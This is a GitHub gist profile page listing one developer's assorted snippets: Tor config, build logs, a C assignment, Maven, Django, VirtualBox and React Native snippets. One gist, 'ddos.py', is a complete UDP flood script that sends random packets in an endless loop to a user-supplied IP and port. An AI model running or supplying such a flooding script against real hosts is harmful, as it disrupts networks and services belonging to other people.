Skip to content

Instantly share code, notes, and snippets.

View MewX's full-sized avatar
🙀
Backing to the office!

MewX MewX

🙀
Backing to the office!
View GitHub Profile
@MewX
MewX / iplist.json
Created December 28, 2017 10:19
Transsocks
{
"status": "ok",
"lines": [{
"ipaddr": "180.97.220.129",
"private": false,
"mode": "back-cn",
"load": 16,
"name": "回国线路24",
"location": "镇江",
"id": 35
@MewX
MewX / index.html
Created January 2, 2018 15:40
wechat xiaochengxu
<html lang="zh-CN">
<head>
<style>
html {
-webkit-user-select: none;
user-select: none;
height: 100%;
width: 100%;
}
@MewX
MewX / torrc
Created February 7, 2018 06:36
Torrc for multiple instances
SOCKSPort 9060
DataDirectory /usr/local/var/lib/tor2
ControlPort 9061
HashedControlPassword 16:4180199633DE420C60DED881F36D8138FEF06EE6A48E7012CA35328BEB
MaxCircuitDirtiness 600
@MewX
MewX / build.log
Created February 12, 2018 12:20
Building openjdk 8
====================================================
A new configuration has been successfully created in
/home/cloud-user/test/jdk8u-dev/build/linux-x86_64-normal-server-release
using default settings.
Configuration summary:
* Debug level: release
* JDK variant: normal
* JVM variants: server
* OpenJDK target: OS: linux, CPU architecture: x86, address length: 64
@MewX
MewX / assign.c
Created July 17, 2018 11:33
Forgot which assignment it is, but just a dramatically simple C++ assignment from university of south australia. (PfE Programming Assignment - sp2, 2017)
#include <stdio.h>
#include <string.h>
#include "profile.h"
#define _CRT_SECURE_NO_WARNINGS
#define TRUE 1
#define FALSE 0
#define MAX_LINE_LENGTH (NAME_STRING_LENGTH + NAME_STRING_LENGTH + EMAIL_STRING_LENGTH)
int main()
@MewX
MewX / pom_a_module.xml
Last active August 21, 2018 00:04
maven jacoco plugin generate aggregate report
<!-- part of the pom -->
<build>
<plugins>
<plugin>
<groupId>org.jacoco</groupId>
<artifactId>jacoco-maven-plugin</artifactId>
<executions>
<execution>
<id>report-aggregate</id>
@MewX
MewX / ddos.py
Created September 14, 2018 11:46
Countering rubbish Australian ADSL
import socket #Imports needed libraries
import random
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
bytes=random._urandom(1024) #Creates packet
ip=raw_input('Target IP: ') #The IP we are attacking
port=input('Port: ') #Port we direct to attack
while 1: #Infinitely loops sending packets to the port until the program is exited.
sock.sendto(bytes,(ip,port))
@MewX
MewX / gist:e3e0d5808ee24064d63f8e44f2dc14f3
Created December 17, 2018 10:45 — forked from ryanpitts/gist:1304725
GROUP BY and Select MAX from each group in Django, 2 queries
'''
given a Model with:
category = models.CharField(max_length=32, choices=CATEGORY_CHOICES)
pubdate = models.DateTimeField(default=datetime.now)
<other fields>
Fetch the item from each category with the latest pubdate.
'''
@MewX
MewX / config.sh
Created April 16, 2019 03:47
MacOS VirtualBox Configration
vboxmanage modifyvm "MacOS 10.14" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1
vboxmanage setextradata "MacOS 10.14" VBoxInternal2/EfiGraphicsResolution 1280x800
@MewX
MewX / test.js
Created August 7, 2019 12:39
Flex image with full width and auto height
{/* Copied from: https://github.com/facebook/react-native/issues/950#issuecomment-380490025 */}
<View style={{flex: 1, flexDirection: 'row'}}>
<Image
resizeMode='contain'
style={{
flex: 1,
width: null,
height: null,
aspectRatio: 926/606}}
source={Images[status]} />